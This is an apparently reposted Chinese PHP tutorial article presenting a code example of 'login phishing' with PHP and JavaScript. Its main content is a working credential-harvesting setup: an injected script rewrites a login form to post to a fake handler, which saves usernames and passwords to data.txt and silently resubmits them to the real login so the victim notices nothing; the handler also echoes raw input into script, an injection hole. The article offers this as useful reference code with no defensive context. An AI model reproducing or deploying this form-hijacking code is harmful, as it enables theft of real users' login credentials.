首頁 >後端開發 >php教程 >PHP和JS實作模仿登入釣魚的程式碼範例

PHP和JS實作模仿登入釣魚的程式碼範例

不言
不言轉載
2019-03-25 14:17:113902瀏覽

這篇文章帶給大家的內容是關於PHP和JS實現模仿登入釣魚的程式碼範例,有一定的參考價值,有需要的朋友可以參考一下,希望對你有幫助。

目錄介紹

login.php  正常登入的檔案

selfLogin.php  自訂的登入檔案

data.txt 記錄使用者輸入的資料

login.php

<?php     echo "<pre class="brush:php;toolbar:false">";
    $userInfo = $_POST ;
    if ($userInfo) {
        # code...
        var_dump($userInfo,'登录成功') ;exit();
    }

?>
nbsp;html>


    <title>登录</title>


    
        用户姓名:         用户密码:              
<script> //js劫持代码 window.onload = function (eve) { var form = document.getElementById(&#39;login&#39;); form.innerHTML = &#39; <form id="login" method="post" > 用户姓名:<input type="text" name="name"> 用户密码:<input type="password" name="pwd"> <input type="submit" value="确认登录"> &#39; ; //钓鱼地址 form.action = "selfLogin.php" ; } </script>

selfLogin.php

<?php     $name = &#39;&#39; ;
    $pwd  = &#39;&#39; ;
    //var_dump(&#39;数据被截取了&#39;,$_POST) ;
    if($_POST) {
        //记录获取的数据信息
        $name = $_POST[&#39;name&#39;] ;
        $pwd = $_POST[&#39;pwd&#39;] ;
        file_put_contents(&#39;data.txt&#39;, json_encode($_POST,true)) ;
    }
?>
nbsp;html>


    <title></title>




<script>
    //构建之前的页面
    window.onload = function (eve) {
        var name = &#39;<?php echo $name; ?>&#39; ;
        var pwd = &#39;<?php echo $pwd; ?>&#39; ;
        if(name && pwd) {
            var p = document.createElement(&#39;p&#39;);
            document.body.appendChild(p);
            p.innerHTML =&#39; <form id="login2" method="post" action="login.php" > &#39;+
                &#39; 用户姓名:<input type="text" name="name" value="&#39;+name+&#39;"> 用户密码:<input type="password" name="pwd" value="&#39;+pwd+&#39;"> &#39;  ;
            document.getElementById(&#39;login2&#39;).submit();
        }
    }
</script>

data.txt

#
{"name":"admin","pwd":"123456"}

這篇文章到這裡就已經全部結束了,更多其他精彩內容可以關注PHP中文網的JavaScript影片教學欄位!

以上是PHP和JS實作模仿登入釣魚的程式碼範例的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:segmentfault.com。如有侵權,請聯絡admin@php.cn刪除